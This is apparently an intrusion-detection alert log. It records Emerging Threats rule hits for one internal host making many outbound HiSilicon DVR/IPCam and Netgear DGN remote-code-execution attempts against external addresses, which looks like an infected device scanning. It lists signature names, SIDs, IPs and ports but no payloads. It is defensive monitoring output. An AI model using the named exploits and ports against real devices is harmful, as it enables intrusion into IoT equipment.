ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 172.129.168.244

Timestamp:	05/16/24-16:38:50.046374
SID:	2030487
Source Port:	37442
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 187.79.17.104

Timestamp:	05/16/24-16:38:55.187222
SID:	2030488
Source Port:	57694
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN Remote Code Execution - Source IP: 192.168.2.23 - Destination IP: 89.83.16.175

Timestamp:	05/16/24-16:39:01.480548
SID:	2034576
Source Port:	37344
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 110.99.148.249

Timestamp:	05/16/24-16:39:02.747129
SID:	2030487
Source Port:	46414
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 110.99.148.249

Timestamp:	05/16/24-16:39:02.747129
SID:	2030488
Source Port:	46414
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 187.79.17.104

Timestamp:	05/16/24-16:38:55.187222
SID:	2030487
Source Port:	57694
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 171.76.115.9

Timestamp:	05/16/24-16:38:55.220925
SID:	2030488
Source Port:	54558
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 171.76.115.9

Timestamp:	05/16/24-16:38:55.220925
SID:	2030487
Source Port:	54558
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 108.182.127.156

Timestamp:	05/16/24-16:39:12.295418
SID:	2030487
Source Port:	51298
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 108.182.127.156

Timestamp:	05/16/24-16:39:12.295418
SID:	2030488
Source Port:	51298
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 81.179.148.181

Timestamp:	05/16/24-16:38:50.065072
SID:	2030487
Source Port:	56914
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 81.179.148.181

Timestamp:	05/16/24-16:38:50.065072
SID:	2030488
Source Port:	56914
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 142.28.116.4

Timestamp:	05/16/24-16:39:16.610510
SID:	2030487
Source Port:	39154
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 149.221.43.125

Timestamp:	05/16/24-16:39:08.127288
SID:	2030487
Source Port:	34720
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 142.28.116.4

Timestamp:	05/16/24-16:39:16.610510
SID:	2030488
Source Port:	39154
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 149.221.43.125

Timestamp:	05/16/24-16:39:08.127288
SID:	2030488
Source Port:	34720
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 77.73.92.251

Timestamp:	05/16/24-16:38:59.520109
SID:	2030488
Source Port:	51576
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 77.73.92.251

Timestamp:	05/16/24-16:38:59.520109
SID:	2030487
Source Port:	51576
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 105.196.127.1

Timestamp:	05/16/24-16:39:14.507654
SID:	2030488
Source Port:	40524
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 105.196.127.1

Timestamp:	05/16/24-16:39:14.507654
SID:	2030487
Source Port:	40524
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 183.171.237.47

Timestamp:	05/16/24-16:38:53.083627
SID:	2030488
Source Port:	36624
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 100.141.12.40

Timestamp:	05/16/24-16:39:16.599371
SID:	2030487
Source Port:	53116
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 183.171.237.47

Timestamp:	05/16/24-16:38:53.083627
SID:	2030487
Source Port:	36624
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 130.31.223.129

Timestamp:	05/16/24-16:38:59.583162
SID:	2030488
Source Port:	57956
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 36.112.217.126

Timestamp:	05/16/24-16:39:05.677627
SID:	2030487
Source Port:	55254
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 130.31.223.129

Timestamp:	05/16/24-16:38:59.583162
SID:	2030487
Source Port:	57956
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 36.112.217.126

Timestamp:	05/16/24-16:39:05.677627
SID:	2030488
Source Port:	55254
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 100.141.12.40

Timestamp:	05/16/24-16:39:16.599371
SID:	2030488
Source Port:	53116
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 185.38.227.120

Timestamp:	05/16/24-16:39:05.675913
SID:	2030488
Source Port:	57862
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 185.38.227.120

Timestamp:	05/16/24-16:39:05.675913
SID:	2030487
Source Port:	57862
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 66.81.233.102

Timestamp:	05/16/24-16:38:53.013591
SID:	2030488
Source Port:	34452
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 43.75.74.176

Timestamp:	05/16/24-16:39:12.406686
SID:	2030488
Source Port:	33606
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 66.81.233.102

Timestamp:	05/16/24-16:38:53.013591
SID:	2030487
Source Port:	34452
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 158.188.237.56

Timestamp:	05/16/24-16:39:16.582484
SID:	2030487
Source Port:	52324
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 183.111.20.141

Timestamp:	05/16/24-16:39:05.674998
SID:	2030488
Source Port:	37814
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 158.188.237.56

Timestamp:	05/16/24-16:39:16.582484
SID:	2030488
Source Port:	52324
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 183.111.20.141

Timestamp:	05/16/24-16:39:05.674998
SID:	2030487
Source Port:	37814
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 81.4.112.194

Timestamp:	05/16/24-16:38:55.216478
SID:	2030487
Source Port:	49956
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 157.147.57.90

Timestamp:	05/16/24-16:39:02.748363
SID:	2030488
Source Port:	42488
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 43.75.74.176

Timestamp:	05/16/24-16:39:12.406686
SID:	2030487
Source Port:	33606
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 81.4.112.194

Timestamp:	05/16/24-16:38:55.216478
SID:	2030488
Source Port:	49956
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 157.147.57.90

Timestamp:	05/16/24-16:39:02.748363
SID:	2030487
Source Port:	42488
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound - Source IP: 192.168.2.23 - Destination IP: 64.175.91.127

Timestamp:	05/16/24-16:38:53.410061
SID:	2029215
Source Port:	51066
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 142.134.31.197

Timestamp:	05/16/24-16:39:14.491192
SID:	2030487
Source Port:	50192
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 142.134.31.197

Timestamp:	05/16/24-16:39:14.491192
SID:	2030488
Source Port:	50192
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 165.202.165.175

Timestamp:	05/16/24-16:38:59.519981
SID:	2030488
Source Port:	37136
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 50.2.121.234

Timestamp:	05/16/24-16:39:12.295487
SID:	2030488
Source Port:	47492
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 165.202.165.175

Timestamp:	05/16/24-16:38:59.519981
SID:	2030487
Source Port:	37136
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 196.187.126.36

Timestamp:	05/16/24-16:38:59.557747
SID:	2030488
Source Port:	50332
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 196.187.126.36

Timestamp:	05/16/24-16:38:59.557747
SID:	2030487
Source Port:	50332
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 144.72.113.230

Timestamp:	05/16/24-16:38:55.216372
SID:	2030488
Source Port:	44950
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 129.70.37.9

Timestamp:	05/16/24-16:38:59.557667
SID:	2030488
Source Port:	38318
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 144.72.113.230

Timestamp:	05/16/24-16:38:55.216372
SID:	2030487
Source Port:	44950
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 129.70.37.9

Timestamp:	05/16/24-16:38:59.557667
SID:	2030487
Source Port:	38318
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 2.215.171.109

Timestamp:	05/16/24-16:38:50.052482
SID:	2030488
Source Port:	38546
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 2.215.171.109

Timestamp:	05/16/24-16:38:50.052482
SID:	2030487
Source Port:	38546
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 50.2.121.234

Timestamp:	05/16/24-16:39:12.295487
SID:	2030487
Source Port:	47492
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 78.207.220.5

Timestamp:	05/16/24-16:39:08.149075
SID:	2030488
Source Port:	56702
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 184.245.205.179

Timestamp:	05/16/24-16:39:03.262292
SID:	2030487
Source Port:	37318
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 78.207.220.5

Timestamp:	05/16/24-16:39:08.149075
SID:	2030487
Source Port:	56702
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 184.245.205.179

Timestamp:	05/16/24-16:39:03.262292
SID:	2030488
Source Port:	37318
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 165.16.104.25

Timestamp:	05/16/24-16:39:05.699919
SID:	2030488
Source Port:	55646
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 165.16.104.25

Timestamp:	05/16/24-16:39:05.699919
SID:	2030487
Source Port:	55646
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 5.130.79.38

Timestamp:	05/16/24-16:38:53.094014
SID:	2030488
Source Port:	60054
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound - Source IP: 192.168.2.23 - Destination IP: 203.60.113.51

Timestamp:	05/16/24-16:38:53.410682
SID:	2029215
Source Port:	36694
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 140.105.91.158

Timestamp:	05/16/24-16:39:16.610520
SID:	2030487
Source Port:	43096
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 5.130.79.38

Timestamp:	05/16/24-16:38:53.094014
SID:	2030487
Source Port:	60054
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN Remote Code Execution - Source IP: 192.168.2.23 - Destination IP: 72.121.120.109

Timestamp:	05/16/24-16:39:13.656745
SID:	2034576
Source Port:	49390
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 140.105.91.158

Timestamp:	05/16/24-16:39:16.610520
SID:	2030488
Source Port:	43096
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 4.193.148.189

Timestamp:	05/16/24-16:39:12.380577
SID:	2030488
Source Port:	44578
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 4.193.148.189

Timestamp:	05/16/24-16:39:12.380577
SID:	2030487
Source Port:	44578
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 5.39.162.12

Timestamp:	05/16/24-16:39:08.146378
SID:	2030487
Source Port:	56540
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 5.39.162.12

Timestamp:	05/16/24-16:39:08.146378
SID:	2030488
Source Port:	56540
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 140.139.101.128

Timestamp:	05/16/24-16:39:14.493383
SID:	2030487
Source Port:	35742
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 87.234.22.140

Timestamp:	05/16/24-16:39:03.260892
SID:	2030488
Source Port:	36284
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 98.195.228.0

Timestamp:	05/16/24-16:39:08.041893
SID:	2030488
Source Port:	57380
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 140.139.101.128

Timestamp:	05/16/24-16:39:14.493383
SID:	2030488
Source Port:	35742
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 98.195.228.0

Timestamp:	05/16/24-16:39:08.041893
SID:	2030487
Source Port:	57380
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 87.234.22.140

Timestamp:	05/16/24-16:39:03.260892
SID:	2030487
Source Port:	36284
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 107.185.133.249

Timestamp:	05/16/24-16:39:12.377432
SID:	2030487
Source Port:	56194
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 107.185.133.249

Timestamp:	05/16/24-16:39:12.377432
SID:	2030488
Source Port:	56194
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 128.6.151.74

Timestamp:	05/16/24-16:38:53.011249
SID:	2030487
Source Port:	34522
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 128.6.151.74

Timestamp:	05/16/24-16:38:53.011249
SID:	2030488
Source Port:	34522
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN Remote Code Execution - Source IP: 192.168.2.23 - Destination IP: 24.160.198.68

Timestamp:	05/16/24-16:38:53.410286
SID:	2034576
Source Port:	57020
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 58.37.245.134

Timestamp:	05/16/24-16:38:53.011251
SID:	2030488
Source Port:	38580
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 94.101.210.144

Timestamp:	05/16/24-16:38:50.076339
SID:	2030487
Source Port:	58256
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 94.101.210.144

Timestamp:	05/16/24-16:38:50.076339
SID:	2030488
Source Port:	58256
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 58.37.245.134

Timestamp:	05/16/24-16:38:53.011251
SID:	2030487
Source Port:	38580
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 108.58.179.215

Timestamp:	05/16/24-16:39:02.762295
SID:	2030488
Source Port:	35262
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 47.130.238.161

Timestamp:	05/16/24-16:39:08.127310
SID:	2030488
Source Port:	59464
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 108.58.179.215

Timestamp:	05/16/24-16:39:02.762295
SID:	2030487
Source Port:	35262
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 67.113.37.225

Timestamp:	05/16/24-16:39:03.260046
SID:	2030488
Source Port:	46890
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 144.119.69.90

Timestamp:	05/16/24-16:39:14.516758
SID:	2030488
Source Port:	50184
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 67.113.37.225

Timestamp:	05/16/24-16:39:03.260046
SID:	2030487
Source Port:	46890
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 144.119.69.90

Timestamp:	05/16/24-16:39:14.516758
SID:	2030487
Source Port:	50184
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 108.193.58.118

Timestamp:	05/16/24-16:39:16.579873
SID:	2030487
Source Port:	39286
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 108.193.58.118

Timestamp:	05/16/24-16:39:16.579873
SID:	2030488
Source Port:	39286
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 47.130.238.161

Timestamp:	05/16/24-16:39:08.127310
SID:	2030487
Source Port:	59464
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 208.72.80.84

Timestamp:	05/16/24-16:39:12.304157
SID:	2030488
Source Port:	39506
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

